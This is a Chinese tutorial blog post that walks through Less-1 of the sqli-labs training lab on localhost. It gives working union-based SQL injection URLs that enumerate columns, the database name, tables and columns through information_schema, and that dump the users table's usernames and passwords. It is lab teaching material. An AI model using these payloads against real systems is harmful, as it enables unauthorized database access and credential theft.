当前位置: 首页 > news >正文

SQL注入-sqli-labs-master第一关

实验环境:

Nginx.1.15.11

MySQL:5.7.26

实验步骤:

1.第一步:

                在id=1后加入一个闭合符号',如果报错,再在后面加上 --+ 将后面注释掉,如果不报错,则证明为字符型。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+

2.第二步:

                order by 查询字段个数,逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。

三个字段

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

四个字段 

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

第三步:

                用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉,比如这里我想查询数据库版本,就用version()替换掉了2。注意前面的id=1要改为id=-1,目的是为了让前面的查询语句不执行,这样我们后面查询的version()才能够显示出来。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+#这里使用联合查询id参数要为假
#显示位位2和3

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 --+

第四步:

                查询我们当前所使用的数据库,为的是后期查询表名。这里查询到的表名为security。 

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+

第五步:

                mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输出的话,前端只会显示查询的第一个表名。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

第六步:

                现在我们知道了security数据库中的所有表名,我们需要查询password和username,常理下这些数据都会存储到users中,所以我们现在查询users这个表中的所有字段的名字是什么。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

 第七步:

                现在我们知道了所用的库为security,所用的表是users,三个字段名分别为id,username,password,那么我们就可以进行最后一步,查询username和password的具体数据

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat( username,id,password) from users --+

相关文章:

  • 微信生成带参数二维码(用户id), 扫码可获取用户id
  • 免费开源的微信小程序源码、小游戏源码精选70套!
  • Python一行命令搭建HTTP服务器并外网访问 - 内网穿透
  • Unity——八叉树的原理与实现
  • 算法每日一题: 最大合金数 | 二分
  • 概念抽取:构建认知基础的关键步骤
  • 面试经典 150 题 ---- 移除元素
  • 方玲老师谈中国传统祭祖深远的意义
  • 计算机网络之NAT
  • arm 汇编调用C
  • Go黑帽子(第二章)
  • Go语言常用标准库fmt、格式化占位符、获取输入
  • UE5在VisualStudio升级后产生C++无法编译的问题
  • Keil-C语言小总结
  • MySQL(下)
  • 《网管员必读——网络组建》(第2版)电子课件下载
  • 【Linux系统编程】快速查找errno错误码信息
  • android高仿小视频、应用锁、3种存储库、QQ小红点动画、仿支付宝图表等源码...
  • - C#编程大幅提高OUTLOOK的邮件搜索能力!
  • JavaScript DOM 10 - 滚动
  • Shadow DOM 内部构造及如何构建独立组件
  • Solarized Scheme
  • uva 10370 Above Average
  • windows下如何用phpstorm同步测试服务器
  • 创建一种深思熟虑的文化
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 前端工程化(Gulp、Webpack)-webpack
  • 如何用Ubuntu和Xen来设置Kubernetes?
  • 使用putty远程连接linux
  • # .NET Framework中使用命名管道进行进程间通信
  • (3)STL算法之搜索
  • (c语言)strcpy函数用法
  • (Redis使用系列) SpringBoot中Redis的RedisConfig 二
  • (动手学习深度学习)第13章 计算机视觉---微调
  • (三) prometheus + grafana + alertmanager 配置Redis监控
  • (一)SpringBoot3---尚硅谷总结
  • (转)Unity3DUnity3D在android下调试
  • .net core webapi 大文件上传到wwwroot文件夹
  • .NET Framework .NET Core与 .NET 的区别
  • .NET/C# 使窗口永不激活(No Activate 永不获得焦点)
  • .Net6使用WebSocket与前端进行通信
  • .Net各种迷惑命名解释
  • @Responsebody与@RequestBody
  • [100天算法】-不同路径 III(day 73)
  • [Android View] 可绘制形状 (Shape Xml)
  • [AX]AX2012 SSRS报表Drill through action
  • [BUUCTF]-PWN:[极客大挑战 2019]Not Bad解析
  • [C++11 多线程同步] --- 条件变量的那些坑【条件变量信号丢失和条件变量虚假唤醒(spurious wakeup)】
  • [C++随笔录] 红黑树
  • [CareerCup][Google Interview] 实现一个具有get_min的Queue
  • [CC-FNCS]Chef and Churu
  • [CodeForces-759D]Bacterial Melee
  • [DNS网络] 网页无法打开、显示不全、加载卡顿缓慢 | 解决方案
  • [ES-5.6.12] x-pack ssl
  • [E单调栈] lc2487. 从链表中移除节点(单调栈+递归+反转链表+多思路)